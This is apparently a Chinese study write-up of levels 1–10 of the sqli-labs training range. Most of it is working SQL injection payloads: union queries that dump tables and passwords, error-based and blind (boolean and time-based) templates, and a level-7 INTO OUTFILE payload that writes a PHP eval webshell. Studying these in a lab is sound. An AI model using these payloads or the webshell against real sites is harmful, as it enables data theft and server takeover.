sqli-labs 1-10关

学习sql注入的必做靶场我终于来尝试一下下了.

第一关

?id=1'时出现

在测试?id=1' and '1'='1，页面正常

?id=1' and '1'='2  页面错误

判断存在单引号字符型注入

判断列数

?id=1' order by 3-- -时正常

?id=1' order by 4-- -时错误

有3列

判断回显点

?id=1' union select 1,2,3-- -

2,3可回显

后查库,查表,查列,查字段

?id=-1'  union select 1,2,database()-- -

?id=-1'  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

?id=-1'  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -

?id=-1'  union select 1,2,group_concat(password) from users-- -

第二关

由?id=1 and 1=1

?id=1 and 1=2 判断 存在整数型注入

判断列数

?id=1 order by 3时正常

?id=1' order by 4时错误

有3列

判断回显点

?id=1 union select 1,2,3

2,3可回显

后查库,查表,查列,查字段

?id=-1 union select 1,2,database()

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

?id=-1 union select 1,2,group_concat(password) from users

第三关

由?id=1' 中报错为

?id=1' and '1'='1 正常

?id=1' and '1'='2  异常

存在注入  又由报错信息构造 1') -- -返回正常 逃逸成功

判断列数

?id=1') order by 3-- -时正常

?id=1') order by 4-- -时错误

有3列

判断回显点

?id=1') union select 1,2,3-- -

2,3可回显

后查库,查表,查列,查字段

?id=-1')  union select 1,2,database()-- -

?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

?id=-1')  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -

?id=-1')  union select 1,2,group_concat(password) from users-- -

第四关

由?id=1" and "1"="1  返回正常

?id=1" and "1"="2  返回错误

存在双引号字符型注入

与第三关类似构造1") -- -构造逃逸

判断列数

?id=1") order by 3-- -时正常

?id=1") order by 4-- -时错误

有3列

判断回显点

?id=1") union select 1,2,3-- -

2,3可回显

后查库,查表,查列,查字段

?id=-1")  union select 1,2,database()-- -

?id=-1")  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

?id=-1")  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -

?id=-1")  union select 1,2,group_concat(password) from users-- -

第五关

与前面相同我们尝试寻找注入点

?id=1  ?id=1'  ?id=1"

?id=1' 报错

又尝试?id=1' and '1'='1 页面正常

和?id=1' and '1'='2    错误

从而判断注入类型为单引号字符型注入

判断列数

?id=1' order by 3--+  正常

?id=1' order by 4--+  错误

列数为4

后尝试union select 联合查询

?id=-1'  union select 1,2,3-- -

没有显示

考虑报错注入

常用报错注入模板

（1）通过floor报错

　　　　①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

　　　　②其中payload为你要插入的SQL语句

　　　　③需要注意的是该语句将 输出长度为64位

　　（2）通过updatexml报错

　　　　①and updatexml(1,payload,1)

　　　　②同样盖语句对输出的字符长度也做了限制，其最长输出32位

　　　　③并且该语句对payload的返回类型也做了 限制

　　 （3）通过extractvalue 报错

　　　　①and extractvalue(1,payload)

　　　　②输出字符有长度限制，最长32位

提供floor报错过程,其余两种类似

1.爆库名

?id=-1'  union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+

2.爆表名

?id=-1'  union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables  group by a-- -

3.爆列名

?id=-1'  union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database()  and table_name='emails' limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables  group by a-- -
4.爆字段内容

?id=-1'  union select 1,count(*),concat((select id from emails limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables  group by a-- -

第六关

与第五关类似

?id=1" and "1"="1  页面正常

?id=1" and "1"="2  页面不正常

存在双引号字符注入

与第五关类似移步第五关

第七关

与前面两关不同,You are in 后提示use outfile...

这触及到了我的只是盲区,只好去看一波大佬们的博客，

1、load_file()导出文件

load_file（file_name）：读取文件并返回该文件内容作为一个字符串。

使用条件：

A:必须有权限读取并且文件完全可读

B:预读取文件必修在服务器上

C:必须指定文件完整路径

D:预读取文件必修小于max_allowed_packet

如果该文件不存在，或因为上面的任一原因而不能被读出，函数返回空。比较难满足的 就是权限，在 windows 下，如果 NTFS 设置得当，是不能读取相关的文件的，当遇到只有 administrators 才能访问的文件，users就别想 load_file 出来。

在实际的注入中，我们有两个难点需要解决： 绝对物理路径 构造有效的畸形语句 （报错爆出绝对路径） 在很多 PHP 程序中，当提交一个错误的 Query，如果 display_errors=on，程序就会暴露 WEB 目录的绝对路径，只要知道路径，那么对于一个可以注入的 PHP 程序来说，整个服务 器的安全将受到严重的威胁。

2、导入到文件：

into outfile

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上，因此您必须拥有 FILE 权限，才能使用此语法。file_name 不能是一个已经存在的文件。

一 直接将select内容导入到文件

二修改文件结尾

首先判断id=1' 页面错误

?id=1' and  '1'='1   页面正常

?id=1' and '1'='2  页面错误

我们尝试?id=1'))-- -成功逃逸
因而此题:mysql注入点,用工具对目标站写入一句话,需要哪些条件?

root权限以及网站的绝对路径。

绝对路径为本地搭建我们只需判断root权限

(select count(*) from mysql.user)>0  回显正常则为最高权限

?id=1')) and (select count(*) from mysql.user)>0-- - 页面正常

我们输入一句话木马后使用蚊剑连接即可

?id=-1')) and union select 1,2,<?php @eval($_POST['cmd']);?> INTO outfile "D:/phpStudy/PHPTutorial/WWW/sqli/less-7/shell.php"-- -

第八关

与前七关不同,输入?id=1 就只有You are in......

输入?id=100

只有两个页面

可以为布尔盲注

常用三个函数 length() ,substr(),与ascii()函数

寻找注入点

当id=1' and '1'='1 页面正常

id=1'  and '1'='2   页面错误

存在单引号注入点

判断数据库长度

?id=1' and  length(database())>1-- -正常

?id=1' and  length(database())=8-- - 正常 则database()的长度为8

//其实我们可以用database()代替数据库库名可不查

查库名的第n个字母

?id=1' and ascii(substr((select database()),n,1))>90 -- -

可手动一个个查

也可burpsuite爆破,也可脚本,dns注入也可

查第n个表名的m个字母   举例为当前数据库的第一个表的第一个字母

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1-- -

查第n个列名的第m个字母   举例为users表1列的第一个字母

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database()  and table_name='users' limit 0,1),1,1))>1-- -

查第n个字段的第m个字母   举例为password列的第一个字段的第一个字母

?id=1' and ascii(substr((select password from users limit 0,1),1,1))>1-- -

第九关

无论输入什么只有一个页面,时间盲注

什么型的自己慢慢试吧

?id=1' and  sleep(5)-- -

可得为

判断数据库长度

?id=1' and  if(length(database())>1, sleep(5),1)-- -

判断数据库名称

举例

?id=1' and if(ascii(substr((select database()),1,1))>1,sleep(5),1)-- -

爆库名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1,sleep(5),1)-- -

爆列名

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>1,sleep(5),1)-- -

爆字段

?id=1' and if(ascii(substr((select id from emails limit 0,1),1,1))>1,sleep(5),1)-- -

第十关

与第九关类似

?id=1"  and sleep(5)-- -   延迟5秒

判断为双引号字母时间盲注

其余同上